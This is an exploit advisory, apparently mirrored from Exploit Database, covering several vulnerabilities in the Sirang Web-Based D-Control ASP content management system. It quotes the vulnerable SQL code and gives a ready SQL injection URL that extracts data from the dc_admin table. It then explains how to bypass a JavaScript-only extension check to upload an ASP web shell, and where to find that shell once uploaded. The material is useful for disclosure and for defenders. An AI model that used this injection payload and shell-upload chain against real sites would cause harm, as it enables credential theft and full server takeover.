sirang web-based d-control – Multiple Vulnerabilities

• Exploit Database
• 131 阅读

• 作者： Abysssec
  日期： 2010-09-08
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/14943/
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  &apos;&apos;&apos; ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ <Day 8 (0 day) | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/   &apos;&apos;&apos;   - Title: Sirang Web-Based D-Control Multiple Remote Vulnerabilities - Affected Version : <= v6.0 - VendorSite : http://www.sirang.com   - Discovery : Abysssec.com       Description :   this CMS suffer from OWASP top 10 !!! some of there will come here ...   Vulnerabilites : ====================================================================================================================== 1- SQL Injection   Vulnerability is located in content.asp   line 131-133 ... txt="select * from news where del=&apos;false&apos; and "+keyfld+"!=&apos;-&apos; order by id desc limit 1" set rs=conn.execute(txt) while not rs.eof ...   content.asp line 202-206 ... if id<>"" then txt10 ="select * from "+ cstr(tblname) +" where del=&apos;false&apos; and id=&apos;"+ id +"&apos;" set xx = conn.execute(txt10) if not xx.eof then ...   lots of files those will have to do input validation from user input are vulnerable to SQL Injection .   PoC : www.site.com/main_fa.asp?status=news&newsID=23&apos;/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/* note : if you can&apos;t see result you need to do it blindly     ====================================================================================================================== 2- Bypass uploads restriction:   after you got user/pass with sql injection go to http://site.com/admin/dc_upload.asp   js file line 13-34 :     function showthumb(file) { if (file !=&apos;&apos;) { myshowfile = file; extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe"); allowSubmit = false; while (file.indexOf("\\") != -1) file = file.slice(file.indexOf("\\") + 1); ext = file.slice(file.indexOf(".")).toLowerCase(); for (var i = 0; i < extArray.length; i++) { if (extArray[i] == ext) { allowSubmit = true; break; } } if (allowSubmit) thumb.src=myshowfile; else alert("Only files that end in types:" + (extArray.join("")) + " could be previewd."); } else { alert("Only files that end in types:" + (extArray.join("")) + " could be previewd."); } } as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell.   you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)